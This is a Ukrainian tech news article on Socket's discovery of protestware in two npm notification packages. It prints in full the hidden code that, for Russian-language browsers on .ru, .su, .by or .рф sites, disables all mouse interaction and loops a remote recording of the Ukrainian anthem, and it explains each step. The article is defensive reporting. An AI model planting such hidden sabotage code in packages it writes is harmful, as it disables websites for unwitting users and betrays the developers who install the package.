Рубріки: Новини

У пакетах npm виявили код, який циклічно відтворює гімн України для відвідувачів російських сайтів

Дмитро Сімагін

Команда дослідження загроз Socket виявила два npm-пакети, які використовуються в JavaScript-розробці, з прихованим функціоналом для російськомовних користувачів, що регулярно відвідують російські сайти.

Пакети @link-loom/ui-sdk та @link-loom-react-sdk розроблені, щоб нібито допомогти розробникам створювати гарні спливаючі сповіщення у веб-застосунках. Однак, якщо користувач браузера з російською мовою в налаштуваннях відвідує російський веб-сайт, який використовує ці пакети JavaScript, то його чекає сюрприз: сайт зависає. Користувач не може нічого натиснути, прокручувати чи взаємодіяти будь-яким чином — поки безперервно грає гімн України.

Обидва пакети створені одним розробником, з кількома версіями, на які поширюється проблема (з 1.0.6 по 1.0.99 та з 1.0.100 по 1.0.151). Вони містять відому бібліотеку JavaScript SweetAlert2, яка створює модальні спливаючі вікна браузера, сумісні з React. SweetAlert2 розроблений для браузерних програм і широко використовується в інформаційних та адміністративних панелях, модальних вікнах продуктів тощо.

Пакет @link-loom/ui-sdk має понад 7000 завантажень і тому може впливати на будь-якого веб-розробника, який раніше його завантажував.

Розробники можуть використовувати ці уражені версії, не усвідомлюючи, що пакети зупиняють взаємодію з інтерфейсом користувача на веб-сайтах для будь-яких російськомовних користувачів, які відвідують російські або білоруські веб-сайти. Це підпадає під класифікацію протестного програмного забезпечення (protestware).

Заражені пакети містять понад 100 000 рядків коду. Приблизно через 5000 рядків у модулі /dist/ui-sdk.cjs.js вставлено код:

// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    var now = new Date();
    var initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', "".concat(now));
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(function () {
        document.body.style.pointerEvents = 'none';
        var ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(function () {
          ukrainianAnthem.play()["catch"](function () {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

 

Перший рядок коду є комплексним if statement, що вимагає від користувача відповідності всім трьом наступним кваліфікаціям:

  • typeof window !== ‘undefined’ код виконується у браузері.
  • /^ru\\b/.test(navigator.language) — мовні налаштування браузера користувача – російська.
  • location.host.match(/\\.(ru|su|by|xn--p1ai)$/) — поточний домен є російським або білоруським.
  • .ru, .su, та .by позначають російський, радянський та білоруський домени відповідно. xn--p1ai позначає Росію кирилицею як домен .рф, який може зустрічатися на міжнародному рівні.

Для користувача, який відвідує російський або білоруський домен у своєму браузері, де встановлена російська мова, код працює так:

  • Перевіряє поточну дату та час.
  • Намагається отримати збережений рядок дати з браузера. Якщо це перше відвідування, повертає значення null та зберігає поточні дані в рядку.
  • Якщо ключ встановлено, перевіряється, скільки днів минуло з моменту останнього відвідування користувачем сайту.
  • Якщо з моменту відвідування користувачем сайту минуло більше трьох днів, перед подальшою роботою функцій передбачена затримка 500 мс.
  • Цей рядок document.body.style.pointerEvents = ‘none’; вимикає будь-яку взаємодію на сторінці за допомогою миші. Елементи сторінки ігноруватимуть кліки, наведення курсора, прокручування тощо, що фактично робить сторінку нечутливою до вводу користувача.
  • Потім, за допомогою жорсткого кодування віддаленого файлу, відтворюється український державний гімн .mp3. .loop = true. Це забезпечує безперервне відтворення гімну, доки сторінка не завершиться за часом або не буде зупинена вручну. Однак користувач не може зупинити веб-сторінку вручну через блокування під час взаємодії з мишею.
  • Інші частини коду додають затримки, щоб обійти обмеження автовідтворення та непомітно придушити помилки.

На завершення, користувачі, у яких в браузері встановлено російську мову та які відвідують домен .ru, .su, .by, або .рф принаймні вдруге та з інтервалом щонайменше три дні, не зможуть взаємодіяти з веб-сторінкою та зупинити циклічне відтворення гімну України. На екрані не буде помилок, журналів консолі чи візуальних підказок.

 

Останні статті

Поліція затримала хакера, який заразив 2,8 мільйонів ПК софтом для крадіжки криптовалюти

У Грузії за запитом поліції Південної Кореї було затримано 29-річного громадянина Литви, якого підозрюють в…

30.12.2025

«Тепер тільки тести та практичні завдання»: компанії масово відмовляються від оцінки резюме

Компанії все частіше відмовляються від оцінки класичних резюме, віддаючи перевагу найму, де кандидата оцінюють, наскільки…

30.12.2025

«Мінус 2200 IT-підприємців за квартал»: в Україні дослідили динаміку по ФОП

Команда YC.Market оприлюднила аналіз реєстрацій фізичних осіб підприємців (ФОП) за неповний 4 квартал 2025 року.…

30.12.2025

Сем Альтман шукає фахівця на зарплату в $555 000, щоб той контролював ChatGPT

Керівник OpenAI Сем Альтман оголосив про пошук нового директора відділу готовності (head of preparedness), який…

30.12.2025

Microsoft додає GPT-5.2 у Copilot

Microsoft доповнила функціонал Copilot найпотужнішою на сьогоднішній день LLM-моделлю GPT-5.2 від OpenAI. Вона дозволяє швидше…

30.12.2025

Google Photos незабаром можна буде запускати на телевизорах

Сервіс Google Photos з'явиться на телевізорах вже наступного року, спочатку лише на пристроях Samsung. Перші…

29.12.2025